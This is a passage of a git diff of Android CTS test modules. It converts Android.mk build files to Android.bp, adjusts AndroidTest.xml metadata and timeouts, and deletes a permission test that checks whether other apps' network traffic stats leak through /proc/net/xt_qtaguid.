-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under,src)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_JACK_FLAGS := --multi-dex native
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-# Include both the 32 and 64 bit versions of libjavacoretests,
-# where applicable.
-LOCAL_MULTILIB := both
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-
-LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/wycheproof-bc/AndroidTest.xml b/tests/libcore/wycheproof-bc/AndroidTest.xml
index 8e455bf..5d4e487 100644
--- a/tests/libcore/wycheproof-bc/AndroidTest.xml
+++ b/tests/libcore/wycheproof-bc/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS Libcore Wycheproof Bouncy Castle test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="libcore" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <!-- this has just the instrumentation which acts as the tests we want to run -->
@@ -33,4 +35,8 @@
         <option name="runtime-hint" value="16m"/>
         <option name="test-timeout" value="3600000" />
     </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.TestFailureModuleController">
+        <option name="screenshot-on-failure" value="false" />
+    </object>
 </configuration>
diff --git a/tests/libcore/wycheproof/Android.bp b/tests/libcore/wycheproof/Android.bp
new file mode 100644
index 0000000..3a9eb28
--- /dev/null
+++ b/tests/libcore/wycheproof/Android.bp
@@ -0,0 +1,40 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsLibcoreWycheproofConscryptTestCases",
+    defaults: ["cts_support_defaults"],
+    platform_apis: true,
+    static_libs: [
+        "cts-core-test-runner-axt",
+        "wycheproof",
+    ],
+    srcs: ["src/**/*.java"],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    // Include both the 32 and 64 bit versions of libjavacoretests,
+    // where applicable.
+    compile_multilib: "both",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    java_resources: [":libcore-expectations-knownfailures"],
+}
diff --git a/tests/libcore/wycheproof/Android.mk b/tests/libcore/wycheproof/Android.mk
deleted file mode 100644
index d5866f1..0000000
--- a/tests/libcore/wycheproof/Android.mk
+++ /dev/null
@@ -1,50 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLibcoreWycheproofConscryptTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    cts-core-test-runner-axt \
-    wycheproof
-
-LOCAL_JAVA_LIBRARIES := conscrypt
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under,src)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_JACK_FLAGS := --multi-dex native
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-# Include both the 32 and 64 bit versions of libjavacoretests,
-# where applicable.
-LOCAL_MULTILIB := both
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/wycheproof/AndroidTest.xml b/tests/libcore/wycheproof/AndroidTest.xml
index 2a1f2b5..afeff58 100644
--- a/tests/libcore/wycheproof/AndroidTest.xml
+++ b/tests/libcore/wycheproof/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS Libcore Wycheproof Conscrypt test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="libcore" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <!-- this has just the instrumentation which acts as the tests we want to run -->
@@ -32,4 +34,8 @@
         <option name="core-expectation" value="/knownfailures.txt" />
         <option name="runtime-hint" value="10m"/>
     </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.TestFailureModuleController">
+        <option name="screenshot-on-failure" value="false" />
+    </object>
 </configuration>
diff --git a/tests/mocking/Android.bp b/tests/mocking/Android.bp
new file mode 100644
index 0000000..4217e94
--- /dev/null
+++ b/tests/mocking/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsMockingTestCases",
+    defaults: ["cts_defaults"],
+    libs: ["android.test.runner.stubs"],
+    static_libs: [
+        "mockito-target",
+        "androidx.test.rules",
+        "ctstestrunner-axt",
+        "dexmaker-mockmaker-tests",
+    ],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/tests/mocking/Android.mk b/tests/mocking/Android.mk
deleted file mode 100644
index 9d54f61..0000000
--- a/tests/mocking/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := \
-    tests
-LOCAL_JAVA_LIBRARIES := \
-    android.test.runner.stubs
-LOCAL_STATIC_JAVA_LIBRARIES = \
-    mockito-target \
-    androidx.test.rules \
-    ctstestrunner-axt
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, \
-            ../../../external/dexmaker/dexmaker-mockito-tests/src/androidTest/java)
-LOCAL_COMPATIBILITY_SUITE := \
-    cts vts general-tests
-LOCAL_PACKAGE_NAME := \
-    CtsMockingTestCases
-LOCAL_SDK_VERSION := \
-    current
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/mocking/AndroidTest.xml b/tests/mocking/AndroidTest.xml
index 9e53939..c6e4ffe 100644
--- a/tests/mocking/AndroidTest.xml
+++ b/tests/mocking/AndroidTest.xml
@@ -25,6 +25,6 @@
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.mocking.cts" />
-        <option name="runtime-hint" value="5s" />
+        <option name="runtime-hint" value="120s" />
     </test>
 </configuration>
diff --git a/tests/mocking/debuggable/Android.bp b/tests/mocking/debuggable/Android.bp
new file mode 100644
index 0000000..d06c820
--- /dev/null
+++ b/tests/mocking/debuggable/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsMockingDebuggableTestCases",
+    defaults: ["cts_defaults"],
+    libs: ["android.test.runner.stubs"],
+    static_libs: [
+        "mockito-target",
+        "androidx.test.rules",
+        "ctstestrunner-axt",
+        "dexmaker-mockmaker-tests",
+    ],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/tests/mocking/debuggable/Android.mk b/tests/mocking/debuggable/Android.mk
deleted file mode 100644
index 04fb2a1..0000000
--- a/tests/mocking/debuggable/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := \
-    tests
-LOCAL_JAVA_LIBRARIES := \
-    android.test.runner.stubs
-LOCAL_STATIC_JAVA_LIBRARIES = \
-    mockito-target \
-    androidx.test.rules \
-    ctstestrunner-axt
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, \
-            ../../../../external/dexmaker/dexmaker-mockito-tests/src/androidTest/java)
-LOCAL_COMPATIBILITY_SUITE := \
-    cts vts general-tests
-LOCAL_PACKAGE_NAME := \
-    CtsMockingDebuggableTestCases
-LOCAL_SDK_VERSION := \
-    current
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/mocking/debuggable/AndroidTest.xml b/tests/mocking/debuggable/AndroidTest.xml
index 135de46..645f2a2 100644
--- a/tests/mocking/debuggable/AndroidTest.xml
+++ b/tests/mocking/debuggable/AndroidTest.xml
@@ -26,6 +26,6 @@
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.mocking.cts.debuggable" />
-        <option name="runtime-hint" value="5s" />
+        <option name="runtime-hint" value="120s" />
     </test>
 </configuration>
diff --git a/tests/mocking/extended/Android.bp b/tests/mocking/extended/Android.bp
new file mode 100644
index 0000000..c60f0a3
--- /dev/null
+++ b/tests/mocking/extended/Android.bp
@@ -0,0 +1,43 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// NOTE: when converting this file to Android.bp, verify that
+// 'atest CtsExtendedMockingTestCases' succeeds.
+
+android_test_helper_app {
+    name: "CtsExtendedMockingTestCases",
+    defaults: ["cts_defaults"],
+    libs: ["android.test.runner.stubs"],
+    static_libs: [
+        "mockito-target-extended",
+        "androidx.test.rules",
+        "ctstestrunner-axt",
+        "dexmaker-mockmaker-tests",
+        "dexmaker-inline-mockmaker-tests",
+        "dexmaker-extended-mockmaker-tests",
+        "android-support-v4",
+    ],
+    compile_multilib: "both",
+    jni_libs: [
+        "libdexmakerjvmtiagent",
+        "libmultiplejvmtiagentsinterferenceagent",
+        "libstaticjvmtiagent",
+    ],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/tests/mocking/extended/AndroidManifest.xml b/tests/mocking/extended/AndroidManifest.xml
new file mode 100644
index 0000000..36bd152
--- /dev/null
+++ b/tests/mocking/extended/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2018 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.extended.mocking.cts">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+
+        <activity android:name="com.android.dx.mockito.inline.extended.tests.EmptyActivity" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.extended.mocking.cts"
+                     android:label="CTS tests for mockito extended mocking">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/mocking/extended/AndroidTest.xml b/tests/mocking/extended/AndroidTest.xml
new file mode 100644
index 0000000..3b655ba
--- /dev/null
+++ b/tests/mocking/extended/AndroidTest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2018 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<configuration description="Config for Mockito extended mocking test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="mocking" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsExtendedMockingTestCases.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.extended.mocking.cts" />
+        <option name="runtime-hint" value="120s" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="test-timeout" value="600000" />
+    </test>
+
+    <!-- Controller that will skip the module if a native bridge situation is detected -->
+    <!-- For example: module wants to run arm32 and device is x86 -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.NativeBridgeModuleController" />
+</configuration>
diff --git a/tests/mocking/inline/Android.bp b/tests/mocking/inline/Android.bp
new file mode 100644
index 0000000..e925ed3
--- /dev/null
+++ b/tests/mocking/inline/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsInlineMockingTestCases",
+    defaults: ["cts_defaults"],
+    libs: ["android.test.runner.stubs"],
+    static_libs: [
+        "mockito-target-inline",
+        "androidx.test.rules",
+        "ctstestrunner-axt",
+        "dexmaker-mockmaker-tests",
+        "dexmaker-inline-mockmaker-tests",
+        "android-support-v4",
+    ],
+    compile_multilib: "both",
+    jni_libs: [
+        "libdexmakerjvmtiagent",
+        "libmultiplejvmtiagentsinterferenceagent",
+    ],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/tests/mocking/inline/Android.mk b/tests/mocking/inline/Android.mk
deleted file mode 100644
index 4c99385..0000000
--- a/tests/mocking/inline/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := \
-    tests
-LOCAL_JAVA_LIBRARIES := \
-    android.test.runner.stubs
-LOCAL_STATIC_JAVA_LIBRARIES = \
-    mockito-target-inline \
-    androidx.test.rules \
-    ctstestrunner-axt
-LOCAL_MULTILIB := \
-    both
-LOCAL_JNI_SHARED_LIBRARIES := \
-    libdexmakerjvmtiagent \
-    libmultiplejvmtiagentsinterferenceagent
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, \
-            ../../../../external/dexmaker/dexmaker-mockito-inline-tests/src/androidTest/java)
-LOCAL_COMPATIBILITY_SUITE := \
-    cts vts general-tests
-LOCAL_PACKAGE_NAME := \
-    CtsInlineMockingTestCases
-LOCAL_SDK_VERSION := \
-    current
-include $(BUILD_CTS_PACKAGE)
-
diff --git a/tests/mocking/inline/AndroidTest.xml b/tests/mocking/inline/AndroidTest.xml
index 7158dcb..b580e05 100644
--- a/tests/mocking/inline/AndroidTest.xml
+++ b/tests/mocking/inline/AndroidTest.xml
@@ -25,7 +25,9 @@
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.inline.mocking.cts" />
-        <option name="runtime-hint" value="30s" />
+        <option name="runtime-hint" value="120s" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="test-timeout" value="600000" />
     </test>
 
     <!-- Controller that will skip the module if a native bridge situation is detected -->
diff --git a/tests/netlegacy22.api/AndroidTest.xml b/tests/netlegacy22.api/AndroidTest.xml
index 673bdeb..51db277 100644
--- a/tests/netlegacy22.api/AndroidTest.xml
+++ b/tests/netlegacy22.api/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS Legacy android.net APIs test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="networking" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/netlegacy22.api/OWNERS b/tests/netlegacy22.api/OWNERS
new file mode 100644
index 0000000..3fcbaf3
--- /dev/null
+++ b/tests/netlegacy22.api/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 31808
+include ../tests/net/OWNERS
diff --git a/tests/netlegacy22.permission/Android.bp b/tests/netlegacy22.permission/Android.bp
new file mode 100644
index 0000000..78d4b0c
--- /dev/null
+++ b/tests/netlegacy22.permission/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsNetTestCasesLegacyPermission22",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "22",
+    static_libs: ["ctstestrunner-axt"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/netlegacy22.permission/Android.mk b/tests/netlegacy22.permission/Android.mk
deleted file mode 100644
index f9ae8fe..0000000
--- a/tests/netlegacy22.permission/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsNetTestCasesLegacyPermission22
-
-LOCAL_SDK_VERSION := 22
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/netlegacy22.permission/AndroidTest.xml b/tests/netlegacy22.permission/AndroidTest.xml
index 83983a7..2e4dcbf 100644
--- a/tests/netlegacy22.permission/AndroidTest.xml
+++ b/tests/netlegacy22.permission/AndroidTest.xml
@@ -16,6 +16,9 @@
 <configuration description="Config for CTS Legacy android.net Permission test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="networking" />
+    <option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/netlegacy22.permission/OWNERS b/tests/netlegacy22.permission/OWNERS
new file mode 100644
index 0000000..3fcbaf3
--- /dev/null
+++ b/tests/netlegacy22.permission/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 31808
+include ../tests/net/OWNERS
diff --git a/tests/netlegacy22.permission/src/android/net/cts/legacy/api22/permission/QtaguidPermissionTest.java b/tests/netlegacy22.permission/src/android/net/cts/legacy/api22/permission/QtaguidPermissionTest.java
deleted file mode 100644
index 7d0dba2..0000000
--- a/tests/netlegacy22.permission/src/android/net/cts/legacy/api22/permission/QtaguidPermissionTest.java
+++ /dev/null
@@ -1,125 +0,0 @@
-package android.net.cts.legacy.api22.permission;
-
-import android.net.TrafficStats;
-import android.test.AndroidTestCase;
-
-import androidx.test.filters.MediumTest;
-
-import java.io.BufferedReader;
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.FileReader;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.net.ServerSocket;
-import java.net.Socket;
-
-public class QtaguidPermissionTest extends AndroidTestCase {
-
-    private static final String QTAGUID_STATS_FILE = "/proc/net/xt_qtaguid/stats";
-
-    @MediumTest
-    public void testDevQtaguidSane() throws Exception {
-        File f = new File("/dev/xt_qtaguid");
-        assertTrue(f.canRead());
-        assertFalse(f.canWrite());
-        assertFalse(f.canExecute());
-    }
-
-    public void testAccessPrivateTrafficStats() throws IOException {
-
-        final int ownAppUid = getContext().getApplicationInfo().uid;
-        try {
-            BufferedReader qtaguidReader = new BufferedReader(new FileReader(QTAGUID_STATS_FILE));
-            String line;
-            // Skip the header line;
-            qtaguidReader.readLine();
-            while ((line = qtaguidReader.readLine()) != null) {
-                String tokens[] = line.split(" ");
-                // Go through all the entries we find the qtaguid stats and fail if we find a stats
-                // with different uid.
-                if (tokens.length > 3 && !tokens[3].equals(String.valueOf(ownAppUid))) {
-                    fail("Other apps detailed traffic stats leaked, self uid: "
-                         + String.valueOf(ownAppUid) + " find uid: " + tokens[3]);
-                }
-            }
-            qtaguidReader.close();
-        } catch (FileNotFoundException e) {
-            fail("Was not able to access qtaguid/stats: " + e);
-        }
-    }
-
-    private void accessOwnTrafficStats(long expectedTxBytes) throws IOException {
-
-        final int ownAppUid = getContext().getApplicationInfo().uid;
-
-        long totalTxBytes = 0;
-        try {
-            BufferedReader qtaguidReader = new BufferedReader(new FileReader(QTAGUID_STATS_FILE));
-            String line;
-            while ((line = qtaguidReader.readLine()) != null) {
-                String tokens[] = line.split(" ");
-                if (tokens.length > 3 && tokens[3].equals(String.valueOf(ownAppUid))) {
-                    // Check the total stats of this uid is larger then 1MB
-                    if (tokens[2].equals("0x0")) {
-                        totalTxBytes += Integer.parseInt(tokens[7]);
-                    }
-                }
-            }
-            qtaguidReader.close();
-        } catch (FileNotFoundException e) {
-            fail("Was not able to access qtaguid/stats: " + e);
-        }
-        assertTrue(totalTxBytes + " expected to be greater than or equal to"
-            + expectedTxBytes + "bytes", totalTxBytes >= expectedTxBytes);
-    }
-
-    public void testAccessOwnQtaguidTrafficStats() throws IOException {
-
-        // Transfer 1MB of data across an explicitly localhost socket.
-        final int byteCount = 1024;
-        final int packetCount = 1024;
-
-        final ServerSocket server = new ServerSocket(0);
-        new Thread("CreatePrivateDataTest.createTrafficStatsWithTags") {
-            @Override
-            public void run() {
-                try {
-                    Socket socket = new Socket("localhost", server.getLocalPort());
-                    // Make sure that each write()+flush() turns into a packet:
-                    // disable Nagle.
-                    socket.setTcpNoDelay(true);
-                    OutputStream out = socket.getOutputStream();
-                    byte[] buf = new byte[byteCount];
-                    for (int i = 0; i < packetCount; i++) {
-                        TrafficStats.setThreadStatsTag(i % 10);
-                        TrafficStats.tagSocket(socket);
-                        out.write(buf);
-                        out.flush();
-                    }
-                    out.close();
-                    socket.close();
-                } catch (IOException e) {
-                  assertTrue("io exception" + e, false);
-                }
-            }
-        }.start();
-
-        try {
-            Socket socket = server.accept();
-            InputStream in = socket.getInputStream();
-            byte[] buf = new byte[byteCount];
-            int read = 0;
-            while (read < byteCount * packetCount) {
-                int n = in.read(buf);
-                assertTrue("Unexpected EOF", n > 0);
-                read += n;
-            }
-        } finally {
-            server.close();
-        }
-
-        accessOwnTrafficStats(byteCount * packetCount);
-    }
-}
diff --git a/tests/netsecpolicy/Android.bp b/tests/netsecpolicy/Android.bp
new file mode 100644
index 0000000..1dbfe9f
--- /dev/null
+++ b/tests/netsecpolicy/Android.bp
@@ -0,0 +1,54 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+android_test {
+    name: "CtsNetSecPolicyUsesCleartextTrafficFalse",
+    defaults: ["cts_support_defaults"],
+    srcs: ["usescleartexttraffic-shared/src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+    manifest: "usescleartexttraffic-false/AndroidManifest.xml",
+}
+
+android_test {
+    name: "CtsNetSecPolicyUsesCleartextTrafficTrue",
+    defaults: ["cts_support_defaults"],
+    srcs: ["usescleartexttraffic-shared/src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+    manifest: "usescleartexttraffic-true/AndroidManifest.xml",
+}
+
+android_test {
+    name: "CtsNetSecPolicyUsesCleartextTrafficUnspecified",
+    defaults: ["cts_support_defaults"],
+    srcs: ["usescleartexttraffic-shared/src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+    manifest: "usescleartexttraffic-unspecified/AndroidManifest.xml",
+}
diff --git a/tests/netsecpolicy/Android.mk b/tests/netsecpolicy/Android.mk
deleted file mode 100644
index 137672e..0000000
